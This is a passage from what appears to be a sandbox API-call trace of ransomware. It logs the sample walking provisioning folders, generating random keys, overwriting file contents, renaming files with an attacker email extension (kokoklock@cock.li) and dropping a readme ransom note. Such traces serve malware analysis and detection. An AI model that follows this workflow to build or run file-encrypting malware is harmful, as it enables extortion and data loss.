lpStartAddress=0x32077a0, lpParameter=0x3482338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0084.786] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34a0978 | out: lpFindFileData=0x34a0978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 1 [0084.786] wcscmp (_String1="1__Power_Policy.provxml", _String2=".") returned 1 [0084.786] wcscmp (_String1="1__Power_Policy.provxml", _String2="..") returned 1 [0084.786] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3483888 [0084.786] wcscpy (in: _Dest=0x3483888, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0084.786] wcscat (in: _Dest=0x3483888, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0084.786] wcscat (in: _Dest=0x3483888, _Source="1__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml" [0084.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3483888, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0084.787] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x34a0978 | out: lpFindFileData=0x34a0978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5409c262, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x905, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="1__POW~1.PRO")) returned 0 [0084.787] FindClose (in: hFindFile=0x33e02d8 | out: hFindFile=0x33e02d8) returned 1 [0084.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a0978) returned 1 [0084.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486478) returned 1 [0084.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0084.787] RtlExitUserThread (Status=0x0) Thread: id = 1174 os_tid = 0x12f4 [0083.481] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml")) returned 0x20 [0083.938] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0083.939] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x61c [0083.939] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x297bfdc0 | out: lpFileSize=0x297bfdc0*=599) returned 1 [0083.939] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x253, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.939] ReadFile (in: hFile=0x61c, lpBuffer=0x297bfd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x297bfd90, lpOverlapped=0x0 | out: lpBuffer=0x297bfd94*, lpNumberOfBytesRead=0x297bfd90*=0x4, lpOverlapped=0x0) returned 1 [0083.940] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0083.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d870 [0083.940] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d708 [0083.940] NtQuerySystemTime (in: CurrentTime=0x297bfd6c | out: CurrentTime=0x297bfd6c*=132121176418360747) returned 0x0 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x61737761 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xc31071dc [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x79a5c10a [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xf2138e1 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x6f84d7d9 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x66721a9c [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x7fccbd61 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x51dba418 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xae524b7e [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x560750e7 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xc3004f7d [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x5e4a906a [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x8a9e11e6 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x630ec2aa [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x9439f9e9 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x6ed0f0c [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x1e5a0f5b [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x2d54b66e [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x302c3a15 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x8b97e932 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xc664a0fc [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x441b4973 [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xe6c264cd [0083.940] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x43039bd7 [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x34d3ad5d [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xc48cc2f0 [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x7fc3ba1b [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x8ac4f934 [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0x3af14907 [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xd730f32c [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xd4ffae42 [0083.941] RtlRandom (in: Seed=0x297bfd78 | out: Seed=0x297bfd78) returned 0xc340024 [0083.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0083.951] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0083.951] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0083.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0083.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0083.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.952] ReadFile (in: hFile=0x61c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x257, lpNumberOfBytesRead=0x297bfd6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x297bfd6c*=0x257, lpOverlapped=0x0) returned 1 [0083.952] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x297bfd34 | out: lpNewFilePointer=0x0) returned 1 [0083.952] WriteFile (in: hFile=0x61c, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x257, lpNumberOfBytesWritten=0x297bfd68, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x297bfd68*=0x257, lpOverlapped=0x0) returned 1 [0083.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0083.952] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d730 [0083.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d730) returned 1 [0083.952] WriteFile (in: hFile=0x61c, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x297bfd64, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x297bfd64*=0x20, lpOverlapped=0x0) returned 1 [0083.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0083.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.952] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0083.952] WriteFile (in: hFile=0x61c, lpBuffer=0x342d7d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x297bfd90, lpOverlapped=0x0 | out: lpBuffer=0x342d7d0*, lpNumberOfBytesWritten=0x297bfd90*=0x8, lpOverlapped=0x0) returned 1 [0083.952] WriteFile (in: hFile=0x61c, lpBuffer=0x297bfda8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x297bfd90, lpOverlapped=0x0 | out: lpBuffer=0x297bfda8*, lpNumberOfBytesWritten=0x297bfd90*=0x4, lpOverlapped=0x0) returned 1 [0083.953] WriteFile (in: hFile=0x61c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x297bfd90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x297bfd90*=0x4, lpOverlapped=0x0) returned 1 [0083.953] WriteFile (in: hFile=0x61c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x297bfd90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x297bfd90*=0x6c, lpOverlapped=0x0) returned 1 [0083.955] WriteFile (in: hFile=0x61c, lpBuffer=0x342d870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x297bfd90, lpOverlapped=0x0 | out: lpBuffer=0x342d870*, lpNumberOfBytesWritten=0x297bfd90*=0x20, lpOverlapped=0x0) returned 1 [0083.955] WriteFile (in: hFile=0x61c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x297bfd90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x297bfd90*=0x4, lpOverlapped=0x0) returned 1 [0083.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d870) returned 1 [0083.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0083.955] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7d0) returned 1 [0083.955] CloseHandle (hObject=0x61c) returned 1 [0083.955] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0083.955] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" [0083.955] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0083.955] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.956] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.956] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0083.956] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0083.956] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0083.956] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\" [0083.956] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\D0E731-Readme.txt" [0083.956] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0083.956] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x61c [0083.957] WriteFile (in: hFile=0x61c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x297bfd8c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x297bfd8c*=0x481, lpOverlapped=0x0) returned 1 [0083.958] CloseHandle (hObject=0x61c) returned 1 [0083.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0083.958] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7d68) returned 1 [0083.958] RtlExitUserThread (Status=0x1) Thread: id = 1175 os_tid = 0x12fc [0083.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3486540 [0083.482] wcscpy (in: _Dest=0x3486540, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0083.482] wcscat (in: _Dest=0x3486540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0083.482] wcscat (in: _Dest=0x3486540, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*" [0083.482] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a0be0 [0083.482] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*", lpFindFileData=0x34a0be0 | out: lpFindFileData=0x34a0be0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0298 [0083.938] wcscmp (_String1=".", _String2=".") returned 0 [0083.938] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34a0be0 | out: lpFindFileData=0x34a0be0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.938] wcscmp (_String1="..", _String2=".") returned 1 [0083.938] wcscmp (_String1="..", _String2="..") returned 0 [0083.938] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34a0be0 | out: lpFindFileData=0x34a0be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f405fa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f405fa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0083.938] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0083.938] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0083.938] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482240 [0083.938] wcscpy (in: _Dest=0x3482240, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0083.938] wcscat (in: _Dest=0x3482240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0083.938] wcscat (in: _Dest=0x3482240, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c [0084.788] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34a0be0 | out: lpFindFileData=0x34a0be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0084.788] wcscmp (_String1="1__Power_Policy.provxml", _String2=".") returned 1 [0084.789] wcscmp (_String1="1__Power_Policy.provxml", _String2="..") returned 1 [0084.789] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3483980 [0084.789] wcscpy (in: _Dest=0x3483980, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0084.789] wcscat (in: _Dest=0x3483980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0084.789] wcscat (in: _Dest=0x3483980, _Source="1__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml" [0084.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3483980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0084.789] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x34a0be0 | out: lpFindFileData=0x34a0be0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0084.789] FindClose (in: hFindFile=0x33e0298 | out: hFindFile=0x33e0298) returned 1 [0084.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a0be0) returned 1 [0084.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486540) returned 1 [0084.790] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431fd8) returned 1 [0084.790] RtlExitUserThread (Status=0x0) Thread: id = 1176 os_tid = 0x1300 [0083.482] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml")) returned 0x20 [0083.919] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0083.919] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x61c [0083.919] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x298bfb24 | out: lpFileSize=0x298bfb24*=575) returned 1 [0083.919] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x23b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.919] ReadFile 